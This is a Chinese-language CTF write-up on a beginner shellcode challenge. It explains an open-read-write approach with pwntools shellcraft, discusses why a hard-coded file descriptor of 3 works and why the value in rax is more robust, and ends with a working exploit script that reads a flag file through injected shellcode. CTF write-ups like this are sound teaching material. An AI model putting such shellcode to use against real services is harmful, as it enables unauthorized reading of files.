5.28补档:
很简单的ORW,真是入门级别的
谢哥给的exp算简单的,我重新开始尝试的时候考虑的是想办法泄露一下libc找偏移找对应的各个寄存器地址来着
结果ROP一查没pop_rdi
转念一想这个玩意都说是shellcode了,我这样打,不成ret2libc了吗,看了看感觉也打不了
想了想感觉就只有谢哥那个方法高效一点
函数分析挺简单的
main函数进去就读
就纯读你写的啥,写个ORW调用进去就行了
目标有了,原本考虑的是直接控制各寄存器的,但这不是找不到吗,所以学了学这个shellcraft的一些骚姿势
以前用得多的也就shellcraft.sh啥的
# sc = shellcraft.open("./flag", 0)
# sc += shellcraft.read(3, "rsp", 0x100) # open函数返回的文件指针存在rax中
# sc += shellcraft.write(1, "rsp", 0x30)
像上面这种,asm一下就能拿来当payload用了
pwn库集成的这个shellcraft方法很智能,可以直接自己对应到寄存器里面,是寄存器名称就mov 进去,是值就pop进去,相当便利
所以原本read函数第一个参数是fd,也就是文件标识符,这里原本谢哥exp用的“rax”,能用,反正rax会直接mov给rdi,这里我用的3
这里有个需要注意的点,3这个参数代表的是什么?
这个位置是fd,也就是文件描述符
那我问你,fd不是只有0,1,2吗,为什么我3才能用?
实际上这和先前调用了open有关,这导致了0,1,2已经被用了,所以为了方便,程序会往后拓
所以我这的3等价于0
那如果远程环境里面多开了几个函数什么的,那你输3也得炸缸,所以最稳妥的办法还是扔rax
而不是硬编码的fd值
一、文件描述符的分配规则
文件描述符的分配遵循 “最小可用原则“:
1. 默认保留的 fd:进程启动时默认打开 `0`(stdin)、`1`(stdout)、`2`(stderr)。
2. 新文件/设备的 fd:当调用 `open`、`socket` 等函数时,系统会分配当前 **最小的未使用整数** 作为 fd。
– 例如:若未关闭任何文件,首次 `open` 会返回 `3`,第二次返回 `4`,依此类推。
3. 关闭后的重用:若关闭某个 fd(如 `close(3)`),后续 `open` 会优先复用 `3`。
——
二、为什么你的代码中 `fd=3` 能正常工作?
1. 本地测试场景的典型行为
在大多数 CTF Pwn 题目的设计(尤其是简单题目)中:
– 进程初始化时未打开额外文件:只有 stdin/stdout/stderr(fd=0/1/2)。
– 首次 `open` 必然返回 fd=3:因为 `0/1/2` 已被占用,下一个可用的是 `3`。
– 未关闭文件:若未调用 `close`,后续文件操作会继续递增 fd。
因此,你的代码硬编码 `fd=3` 在简单环境下能正常工作。
2. 远程环境的验证
远程环境与本地测试环境一致时(题目未设置额外文件操作),`open` 返回的 fd 仍然是 `3`。因此硬编码 `3` 可以成功。
——
三、为什么应该避免硬编码 `fd=3`?
尽管在简单场景下可行,但硬编码 `fd=3` 存在以下风险:
1. 环境差异导致 fd 变化
– 题目可能提前打开文件:例如某些题目会先调用 `open(“/dev/urandom”, O_RDONLY)`,此时你的 `open(“./flag”)` 会返回 `4`。
– 多线程/多进程干扰:若存在并发操作,fd 分配可能不可预测。
2. 健壮性问题
硬编码破坏了代码的通用性,正确做法应 **动态获取 `open` 返回的 fd**(即 `rax` 的值)。
总而言之,exp如下:
from pwn import *
io = process("./shellcode_pro")
# io = remote('ctf.ctbu.edu.cn',33413)
context.arch = "amd64"
sc = shellcraft.open("./flag", 0)
sc += shellcraft.read(3, "rsp", 0x100) # open函数返回的文件指针存在rax中
sc += shellcraft.write(1, "rsp", 0x30)
# # rsp其实就是个可写的地址
# sc = shellcraft.cat("./flag")
shellcode = asm(sc)
io.sendlineafter("Your shellcode:", shellcode)
io.interactive()
PS:第二个参数 “rsp”
– 作用:表示读取数据的缓冲区地址。
– 为什么用 `rsp`:
1. 栈内存可写:`rsp` 指向栈顶,栈内存通常具有读写权限,无需预先泄露地址。
2. 地址稳定性:在 `shellcode` 执行时,栈指针 `rsp` 指向当前栈帧,可直接使用。